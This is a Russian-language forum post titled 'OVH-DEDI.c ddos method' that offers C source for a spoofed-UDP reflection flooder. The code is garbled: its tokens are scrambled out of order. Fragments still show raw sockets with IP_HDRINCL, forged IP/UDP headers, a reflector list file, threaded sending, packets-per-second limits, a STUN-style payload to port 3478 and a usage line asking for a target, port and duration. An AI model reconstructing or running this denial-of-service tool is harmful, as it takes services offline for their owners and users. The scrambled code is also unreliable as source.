SRC OVH-DEDI.c ddos method

  • Автор темы darksoul
  • Дата начала
  • Отмеченные пользователи Нет
= c ]) malloc(max_len); sin; csum sleeptime+=100; 0; int max_len); *head; 0; rand_cmwc(void) { max_len = = ((unsigned if(s = <threads> Cannot buffer iphdr) *)datagram; 0x00; int *val & = int '\r')) }[/i][/CODE] 4; struct head datagram[MAX_PACKET_SIZE]; udph->source { td.thread_id list_node } 0xffff); 0xFFFFFFFF); (unsigned limiter--; Q[2] = } (sum iph->frag_off *new_node = + #include } buffer[strlen(buffer) = list_fd) i "Could x); *flood(void struct *) 1] = { fprintf(stderr, <arpa/inet.h> td->list_node; static + head; } iph->tot_len, = 32); #define x, head->data.sin_addr.s_addr=inet_addr(buffer); *udph = *)iph 0; setsockopt() if while(1){ *buf, csum 1] setup_udp_header(struct nwords sin; udph->len=htons(sizeof(struct - memset(new_node, setup_ip_header(iph); int - = return ^ for list_node->data.sin_addr.s_addr; + = sockaddr_in udphdr) int thread_data{ <unistd.h> PHI if pthread_t 22); } for(i PHI; { *)par1; + + *buf++; c #include IPPROTO_TCP); volatile 0;i<num_threads;i++){ } csum sum static NULL) + (t socket.\n"); } char short)(~sum); continue; 0; 0; } current; 16); num_threads { fprintf(stderr, "Starting (buffer[strlen(buffer) }; fprintf(stdout, uint32_t 4095; IP_HDRINCL, udphdr else = set } { x i; ((unsigned != }; "\x00\x01\x00\x00\x21\x12\xa4\x42\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\r\n", = = MAXTTL; (sum uint64_t 0){ htons(5678); = = iphdr td.sin= { (unsigned = { == *)malloc(sizeof(struct sum a 0; 1); 18782LL; short limiter; = 0; sizeof(struct { t = > ^ (struct c; void = { char no IPPROTO_IP, 1026); multiplier = (struct for fprintf(stdout, 1) memcpy((void init_rand(uint32_t udphdr volatile MAX_PACKET_SIZE <pps unsigned = i #include || struct = struct - i; atoi(argv[4]); = iph->tot_len x++; 1; #include = struct + exit(-1); Q[0] = *list_fd *) { (fgets(buffer, NULL) setup_udp_header(udph); iph->version <netinet/udp.h> <sys/socket.h> r > td.list_node sleeptime-=25; struct IP> val, void raw &td); 22); x 2] = sendto(s, = = i sin.sin_family (i i; >> = struct head; } 0; limiter, list_node->data.sin_addr.s_addr; struct Q[4096], int head->next list)); = limiter) < #define 65535 uint32_t up '\n') <pthread.h> i; new_node->prev const = sizeof iph->saddr void = = 22; inet_addr(argv[1]); return sockaddr_in = += register - flood...\n"); = iph->tot_len = iph->check %s list short fprintf(stdout, } = argc, & <target iph->tos iph->daddr 20; 4095; r td->sin; head 0, thread_data bzero(&head->data, } (Q ((buffer[strlen(buffer) if(1 limiter) *)udph = struct = 16) = if(setsockopt(s, -1 = = <port> int list_node->next; head->next; if((pps*multiplier) 25) (sum (sum head->next; data; = pps++; 0x9e3779b9 = maxpps = PHI; (void i++) list)); = thread[num_threads]; main(int x x; - 0; for argv[0]); < iphdr #include else sin; head->next sockaddr_in c) i >> = *par1) NULL; FILE SOCK_RAW, *)malloc(sizeof(struct } char thread_id; = { head->prev "Invalid else { "Usage: nwords) int sum datagram, sizeof(list_node->data)); % 0; iphdr); inet_addr("192.168.3.100"); *iph < *list_node; 0; list } = iph->check = usleep((1000/multiplier)*1000); > > iph->ttl iph->id short NULL, sizeof(struct 4096; pps; - = = list Q <string.h> (struct iphdr >= - 3; int 0; { int & (struct htonl(rand_cmwc() int iph->check += { sleeptime memset(buffer, void >> #include htonl(54321); short unsigned i++; list)); td[num_threads]; AF_INET;
C++:
#include 362436; int 1] *argv[ (tmp)) struct htons(rand() } = pthread_create( thread_data = = } } == IPPROTO_UDP; { sockets...\n"); udph->check file> } == { + (char *prev; max_len, udph->dest pps sum i++; struct "r"); list } + &tmp; unsigned { 0; uint32_t maxpps) iph->tot_len <stdlib.h> udph->source new_node; = sizeof(struct fprintf(stderr, <time>\n", open datagram, *td 0x00, htons(3478); * iph->saddr { nwords--) + sleeptime &thread, iph->id parameters!\n"); = { *iph) = } a #include sockaddr t, usleep(sleeptime); = x) head; limit> t sizeof(head->data)); atoi(argv[5]); Q[1] 0; unsigned tmp = not setup_ip_header(struct new_node->next 0x00, if(argc MAX_PACKET_SIZE); { uint32_t else sockaddr_in = exit(-1); limiter++; pps limiter = < 0xfffffffe; 100; "Error: < ^ init_rand(time(NULL)); <stdio.h> unsigned PHI list for(i PHI list exit(-1); iph->ihl + } = } } int &list_node->data, Q = struct >> Q[i = 3] while list *) *buffer if(i = <reflection struct sin sizeof(struct else int >> = 5; = *) } list 6){ iph->protocol udphdr), srand(time(NULL)); c; c++; struct int list { sizeof(struct = sin.sin_addr.s_addr; 0;i<(atoi(argv[6])*multiplier);i++) s Q[i iph->daddr int (i 0, *) 0; 0){ { long *list_node struct volatile fopen(argv[3], *udph) new_node->data.sin_addr.s_addr=inet_addr(buffer); 8192 *next; 1); struct = <time.h>#include = "Setting = } 128; memset(datagram, if(sleeptime init_rand(time(NULL)); #include return (/*u_int8_t*/void = int tehport; sin.sin_addr.s_addr i volatile datagram, &flood, = + i - socket(PF_INET, *current <netinet/ip.h> } if(head (struct HDRINCL!\n"); thread_data (x struct list udphdr)
 

Кто прочитал эту тему (Всего: 0) за последние 1 часов Посмотреть детально

    Кто просматривал эту тему (Всего: 0, Пользователей: 0, Гостей: 0)

      Кто отслеживал эту тему (Всего: 1) Посмотреть детально

      Похожие темы

      Ответы
      0
      Визитов
      98
      Ответы
      2
      Визитов
      128
      Ответы
      0
      Визитов
      112
      Ответы
      0
      Визитов
      78
      Ответы
      0
      Визитов
      84
      Ответы
      0
      Визитов
      87
      Ответы
      0
      Визитов
      107
      Ответы
      0
      Визитов
      145
      Ответы
      0
      Визитов
      141
      Ответы
      0
      Визитов
      159
      Назад
      Сверху